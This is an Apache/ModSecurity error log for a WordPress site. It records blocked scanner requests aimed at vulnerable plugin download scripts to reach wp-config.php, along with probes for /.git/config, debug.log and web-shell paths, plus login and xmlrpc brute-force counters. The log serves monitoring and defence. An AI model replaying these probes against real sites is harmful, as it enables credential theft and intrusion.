[Tue Nov 11 01:12:19.938775 2025] [:error] [pid 14120:tid 14143] [client 91.92.242.56:54125] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php"] [unique_id "aRIc8yT8OKKuPaCGMt0cxQAAAVU"]
[Tue Nov 11 01:12:22.444272 2025] [:error] [pid 24354:tid 24365] [client 91.92.242.56:49928] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php"] [unique_id "aRIc9iiUwEIL0MTd44PbXgAAAoc"]
[Tue Nov 11 01:12:24.414801 2025] [:error] [pid 41978:tid 42012] [client 91.92.242.56:63309] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php"] [unique_id "aRIc-JTXUiwDnS4PcJ9DfwAAANI"]
[Tue Nov 11 01:12:26.581381 2025] [:error] [pid 24817:tid 24826] [client 91.92.242.56:50835] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRIc-uBo1Juuc7yq76DI_AAAAwc"]
[Tue Nov 11 01:12:27.647333 2025] [:error] [pid 41839:tid 41938] [client 91.92.242.56:65278] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php"] [unique_id "aRIc-zGxg5uCD9Nfh5W9iQAAAJg"]
[Tue Nov 11 01:12:28.734059 2025] [:error] [pid 24354:tid 24379] [client 91.92.242.56:62303] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRIc_CiUwEIL0MTd44PbZgAAApU"]
[Tue Nov 11 01:12:31.205609 2025] [:error] [pid 24817:tid 24819] [client 91.92.242.56:61183] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRIc_-Bo1Juuc7yq76DJAQAAAwA"]
[Tue Nov 11 01:12:32.276519 2025] [:error] [pid 24817:tid 24836] [client 91.92.242.56:51241] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/mapsvg/gm_download.php"] [unique_id "aRIdAOBo1Juuc7yq76DJAwAAAxE"]
[Tue Nov 11 01:12:33.355136 2025] [:error] [pid 24554:tid 24558] [client 91.92.242.56:55567] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/mapsvg-lite-interactive-vector-maps/gm_download.php"] [unique_id "aRIdARbgcg5JFvN-BGVrBAAAAsA"]
[Tue Nov 11 01:57:10.232296 2025] [:error] [pid 24554:tid 24563] [client 103.13.208.232:63516] [client 103.13.208.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.13.208.232, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRIndhbgcg5JFvN-BGV6wQAAAsU"]
[Tue Nov 11 02:22:01.560515 2025] [:error] [pid 14120:tid 14141] [client 162.0.232.28:39652] [client 162.0.232.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.232.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRItSST8OKKuPaCGMt0wYwAAAVM"]
[Tue Nov 11 03:55:46.281348 2025] [:error] [pid 43436:tid 43470] [client 192.250.229.19:45892] [client 192.250.229.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.229.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRJDQtuzjoymDUxEiDgHAAAAAEM"]
[Tue Nov 11 04:05:30.027205 2025] [:error] [pid 43523:tid 43546] [client 190.92.174.22:48894] [client 190.92.174.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.22, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRJFikpV__NXz9WhMIaQ8QAAANQ"]
[Tue Nov 11 04:05:31.126611 2025] [:error] [pid 43523:tid 43529] [client 190.92.174.22:48894] [client 190.92.174.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.22, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRJFi0pV__NXz9WhMIaQ8gAAAMM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 11 07:36:39.048251 2025] [:error] [pid 34002:tid 34027] [client 66.29.137.63:49304] [client 66.29.137.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.137.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRJ3B9Nx46Ag0u620orghQAAABU"]
[Tue Nov 11 07:44:03.878329 2025] [:error] [pid 33888:tid 33901] [client 182.44.10.67:34711] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRJ4w4hA0uVBNwBRvPoR7QAAAIo"]
[Tue Nov 11 07:55:40.608657 2025] [:error] [pid 33931:tid 33964] [client 91.92.242.56:49517] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/wp-content/debug.log"] [unique_id "aRJ7fEnJb679KZEjo-MMJAAAARg"]
[Tue Nov 11 08:07:24.177411 2025] [:error] [pid 57437:tid 57450] [client 91.92.242.56:49359] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/usc-e-shop/functions/content-log.php"] [unique_id "aRJ-POxevBIdHxHQtFq0GAAAAEk"]
[Tue Nov 11 08:12:47.743673 2025] [:error] [pid 34002:tid 34013] [client 91.92.242.56:50040] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php"] [unique_id "aRJ_f9Nx46Ag0u620orzoQAAAAc"]
[Tue Nov 11 08:12:48.887389 2025] [:error] [pid 19183:tid 19196] [client 91.92.242.56:50529] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php"] [unique_id "aRJ_gHi-7kNSNuGGwh0uCQAAAYs"]
[Tue Nov 11 08:12:50.031482 2025] [:error] [pid 19909:tid 19920] [client 91.92.242.56:51038] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php"] [unique_id "aRJ_gpj4ijhm0fzOSagSwgAAAoc"]
[Tue Nov 11 08:12:51.174360 2025] [:error] [pid 19436:tid 19461] [client 91.92.242.56:51460] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRJ_g4DAvO-suY2r0aRpWAAAAdQ"]
[Tue Nov 11 08:12:52.317927 2025] [:error] [pid 57437:tid 57446] [client 91.92.242.56:51993] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php"] [unique_id "aRJ_hOxevBIdHxHQtFq1oQAAAEU"]
[Tue Nov 11 08:12:53.461770 2025] [:error] [pid 33932:tid 33978] [client 91.92.242.56:52436] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRJ_hZdn2hP2rg5PoHKBdgAAAUs"]
[Tue Nov 11 08:12:54.605364 2025] [:error] [pid 19559:tid 19587] [client 91.92.242.56:52895] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRJ_hk2A7XQJ15MEH8CglgAAAhg"]
[Tue Nov 11 08:12:55.749881 2025] [:error] [pid 19909:tid 19920] [client 91.92.242.56:53449] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/mapsvg/gm_download.php"] [unique_id "aRJ_h5j4ijhm0fzOSagSxgAAAoc"]
[Tue Nov 11 08:12:56.907426 2025] [:error] [pid 34002:tid 34010] [client 91.92.242.56:53936] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/mapsvg-lite-interactive-vector-maps/gm_download.php"] [unique_id "aRJ_iNNx46Ag0u620orzpwAAAAQ"]
[Tue Nov 11 08:52:30.299915 2025] [:error] [pid 43300:tid 43324] [client 13.234.84.242:52092] [client 13.234.84.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.234.84.242, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRKIziJLyMix3KFpV51m1gAAABM"]
[Tue Nov 11 11:09:09.795139 2025] [:error] [pid 53356:tid 53399] [client 101.53.245.15:27503] [client 101.53.245.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 101.53.245.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRKo1ekdmt0kzjVcUN9TZwAAAE4"]
[Tue Nov 11 11:09:14.904655 2025] [:error] [pid 53356:tid 53395] [client 101.53.245.15:27503] [client 101.53.245.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 101.53.245.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRKo2ukdmt0kzjVcUN9TawAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 11 12:07:02.804603 2025] [:error] [pid 53356:tid 53389] [client 213.209.143.137:52501] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aRK2Zukdmt0kzjVcUN9l3QAAAEQ"]
[Tue Nov 11 12:07:03.323919 2025] [:error] [pid 53449:tid 53465] [client 213.209.143.137:51617] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aRK2Z9pz08j5NoUSzp_rbQAAAUs"]
[Tue Nov 11 12:07:06.000180 2025] [:error] [pid 59670:tid 59689] [client 213.209.143.137:60342] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wc-fields-factory/readme.txt"] [unique_id "aRK2aak2Cnts0y-hpfqxxgAAAJA"]
[Tue Nov 11 12:07:06.520660 2025] [:error] [pid 59670:tid 59693] [client 213.209.143.137:56362] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wc-fields-factory/readme.txt"] [unique_id "aRK2aqk2Cnts0y-hpfqxyQAAAJQ"]
[Tue Nov 11 12:07:09.541436 2025] [:error] [pid 53449:tid 53468] [client 213.209.143.137:49901] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/user-registration-pro/readme.txt"] [unique_id "aRK2bdpz08j5NoUSzp_rugAAAU4"]
[Tue Nov 11 12:07:10.062471 2025] [:error] [pid 53449:tid 53465] [client 213.209.143.137:55390] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/user-registration-pro/readme.txt"] [unique_id "aRK2btpz08j5NoUSzp_rvQAAAUs"]
[Tue Nov 11 12:07:10.581211 2025] [:error] [pid 59670:tid 59696] [client 213.209.143.137:64499] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/user-registration-pro/readme.txt"] [unique_id "aRK2bqk2Cnts0y-hpfqx2wAAAJc"]
[Tue Nov 11 12:07:11.105378 2025] [:error] [pid 59670:tid 59688] [client 213.209.143.137:55593] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/user-registration-pro/readme.txt"] [unique_id "aRK2b6k2Cnts0y-hpfqx3QAAAI8"]
[Tue Nov 11 14:01:20.497741 2025] [:error] [pid 53356:tid 53404] [client 159.203.76.199:60186] [client 159.203.76.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aRLRMOkdmt0kzjVcUN-NPAAAAFM"]
[Tue Nov 11 16:18:39.670097 2025] [:error] [pid 36673:tid 36676] [client 159.203.76.199:36314] [client 159.203.76.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aRLxXyvASiSDHs9bkffRqwAAAIE"]
[Tue Nov 11 16:18:42.061712 2025] [:error] [pid 36580:tid 36643] [client 165.22.14.124:45528] [client 165.22.14.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.14.124, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRLxYpaaFQZGE3H9yOGb0QAAAEU"]
[Tue Nov 11 16:18:43.235393 2025] [:error] [pid 36580:tid 36654] [client 165.22.14.124:45528] [client 165.22.14.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.14.124, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRLxY5aaFQZGE3H9yOGb0gAAAFA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 11 16:20:55.793446 2025] [:error] [pid 36673:tid 36692] [client 187.188.230.41:11486] [client 187.188.230.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.188.230.41, incrementing ddos counter"] [hostname "www.rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRLx5yvASiSDHs9bkffTBgAAAJE"]
[Tue Nov 11 16:20:58.643152 2025] [:error] [pid 36578:tid 36606] [client 187.188.230.41:11496] [client 187.188.230.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 187.188.230.41, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRLx6kMi03XeylcOo5WilQAAANc"]
[Tue Nov 11 16:28:13.820943 2025] [autoindex:error] [pid 36578:tid 36596] [client 217.76.49.137:49311] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 11 17:02:12.127667 2025] [:error] [pid 36580:tid 36653] [client 69.163.176.25:44834] [client 69.163.176.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.176.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRL7lJaaFQZGE3H9yOGmIQAAAE8"]
[Tue Nov 11 17:20:48.463789 2025] [:error] [pid 36580:tid 36638] [client 208.76.84.62:46622] [client 208.76.84.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.76.84.62, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRL_8JaaFQZGE3H9yOGp9AAAAEA"]
[Tue Nov 11 20:22:59.802074 2025] [:error] [pid 43205:tid 43217] [client 182.43.70.143:50078] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRMqo748SbhIkX6TjwOY6AAAAQk"]
[Tue Nov 11 20:40:12.804185 2025] [:error] [pid 36673:tid 36676] [client 216.24.219.204:25591] [client 216.24.219.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "aRMurCvASiSDHs9bkfccFgAAAIE"]
[Tue Nov 11 20:40:13.326570 2025] [:error] [pid 43205:tid 43213] [client 136.144.19.70:26903] [client 136.144.19.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/style.php"] [unique_id "aRMurb48SbhIkX6TjwOflgAAAQU"]
[Tue Nov 11 20:40:13.823921 2025] [:error] [pid 43205:tid 43221] [client 136.144.19.48:27687] [client 136.144.19.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/style.php"] [unique_id "aRMurb48SbhIkX6TjwOflwAAAQ0"]
[Tue Nov 11 20:40:14.319843 2025] [:error] [pid 36579:tid 36615] [client 216.24.219.213:63045] [client 216.24.219.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/style.php"] [unique_id "aRMurumuedRSntjwLw6PVwAAAAQ"]
[Tue Nov 11 20:40:14.820208 2025] [:error] [pid 36578:tid 36586] [client 193.36.224.140:26211] [client 193.36.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style.php"] [unique_id "aRMurkMi03XeylcOo5XerwAAAMM"]
